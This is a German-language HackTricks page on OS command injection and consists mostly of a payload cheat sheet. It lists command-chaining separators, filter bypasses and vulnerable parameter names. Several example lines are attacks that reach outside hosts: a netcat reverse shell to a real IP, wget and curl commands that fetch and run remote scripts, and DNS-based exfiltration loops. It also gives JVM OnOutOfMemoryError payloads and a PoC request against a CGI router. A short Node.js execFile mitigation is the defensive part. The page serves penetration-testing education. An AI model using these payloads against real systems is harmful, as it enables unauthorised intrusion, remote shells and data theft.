Command Injection
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Was ist command Injection?
Eine command injection erlaubt einem Angreifer die Ausführung beliebiger Betriebssystem-Befehle auf dem Server, der eine Anwendung hostet. Infolgedessen können die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle ermöglicht es dem Angreifer typischerweise, unautorisierten Zugriff auf die Umgebung der Anwendung und das zugrundeliegende System zu erlangen oder die Kontrolle darüber zu übernehmen.
Kontext
Je nachdem, wo Ihre Eingabe injiziert wird, müssen Sie möglicherweise den in Anführungszeichen stehenden Kontext beenden (mit " oder ') bevor Sie die Befehle ausführen.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Einschränkungs-Bypasses
Wenn du versuchst, arbitrary commands inside a linux machine auszuführen, möchtest du vielleicht mehr über diese Bypasses lesen:
Beispiele
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Parameter
Hier sind die Top 25 Parameter, die anfällig für code injection und ähnliche RCE vulnerabilities sein könnten (von link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Daten extrahieren: Zeichen für Zeichen
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS-basierte Datenexfiltration
Basierend auf dem Tool von https://github.com/HoLyVieR/dnsbin, das auch unter dnsbin.zhack.ca gehostet wird.
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Online-Tools zur Überprüfung von DNS-basierter data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Bei der Prüfung von JavaScript/TypeScript-Backends stößt man häufig auf die Node.js child_process-API.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() startet eine shell (/bin/sh -c), daher führt jedes Zeichen, das für die shell eine besondere Bedeutung hat (back-ticks, ;, &&, |, $(), …), zu command injection, wenn Benutzereingaben in den String verkettet werden.
Gegenmaßnahme: Verwende execFile() (oder spawn() ohne die shell-Option) und gib jedes Argument als separates Array-Element an, damit keine shell beteiligt ist:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 war durch ein unauthentifiziertes WebSocket-Ereignis angreifbar, das vom Angreifer kontrollierte Daten in id_user platzierte, die später in einem exec()-Aufruf eingebettet wurden und RCE ermöglichten (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Nicht alle Injektionen erfordern shell metacharacters. Wenn die Anwendung untrusted Strings als Argumente an ein Systemutility übergibt (selbst mit execve/execFile und ohne shell), werden viele Programme trotzdem jedes Argument, das mit - oder -- beginnt, als Option interpretieren. Das erlaubt einem Angreifer, Modi umzuschalten, Ausgabepfade zu ändern oder gefährliche Verhaltensweisen auszulösen, ohne jemals in eine shell einzubrechen.
Typische Orte, an denen dies auftritt:
- Eingebettete Web-UIs/CGI-Handler, die Befehle wie
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, etc. zusammenbauen. - Zentralisierte CGI-Router (z. B.
/cgi-bin/<something>.cgimit einem Selector-Parameter wietopicurl=<handler>), bei denen mehrere Handler denselben schwachen Validator wiederverwenden.
Was zu versuchen ist:
- Werte liefern, die mit
-/--beginnen, damit sie vom nachgelagerten Tool als Flags interpretiert werden. - Flags missbrauchen, die Verhalten ändern oder Dateien schreiben, z. B.:
ping:-f/-c 100000um das Gerät zu belasten (DoS)curl:-o /tmp/xum beliebige Pfade zu schreiben,-K <url>um vom Angreifer kontrollierte Konfiguration zu ladentcpdump:-G 1 -W 1 -z /path/script.shum eine Ausführung nach Rotation in unsicheren Wrappern zu erreichen
- Wenn das Programm
--(Ende der Optionen) unterstützt, versuche naive Gegenmaßnahmen zu umgehen, die--an der falschen Stelle voranstellen.
Generische PoC-Formen gegen zentralisierte CGI-Dispatcher:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM-Diagnose-Callbacks für garantierten exec
Jedes Primitive, das es erlaubt, JVM command-line arguments zu injecten (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) lässt sich in ein zuverlässiges RCE verwandeln, ohne den Application-Bytecode anzufassen:
- Erzwinge einen deterministischen Absturz durch Verkleinern von metaspace oder heap:
-XX:MaxMetaspaceSize=16m(oder ein kleines-Xmx). Dies garantiert einOutOfMemoryErrorsogar während des frühen Bootstraps. - Attach an error hook:
-XX:OnOutOfMemoryError="<cmd>"oder-XX:OnError="<cmd>"führt einen beliebigen OS-Befehl aus, wann immer die JVM abstürzt. - Optional
-XX:+CrashOnOutOfMemoryErrorhinzufügen, um Wiederherstellungsversuche zu vermeiden und das payload one-shot zu halten.
Beispiel payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Da diese Diagnoseinformationen von der JVM selbst geparst werden, sind keine shell metacharacters erforderlich und der Befehl läuft mit derselben Integritätsstufe wie der Launcher. Desktop IPC bugs, die user-supplied JVM flags weiterreichen (siehe Localhost WebSocket abuse), führen daher direkt zu OS command execution.
Brute-Force Detection List
Referenzen
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

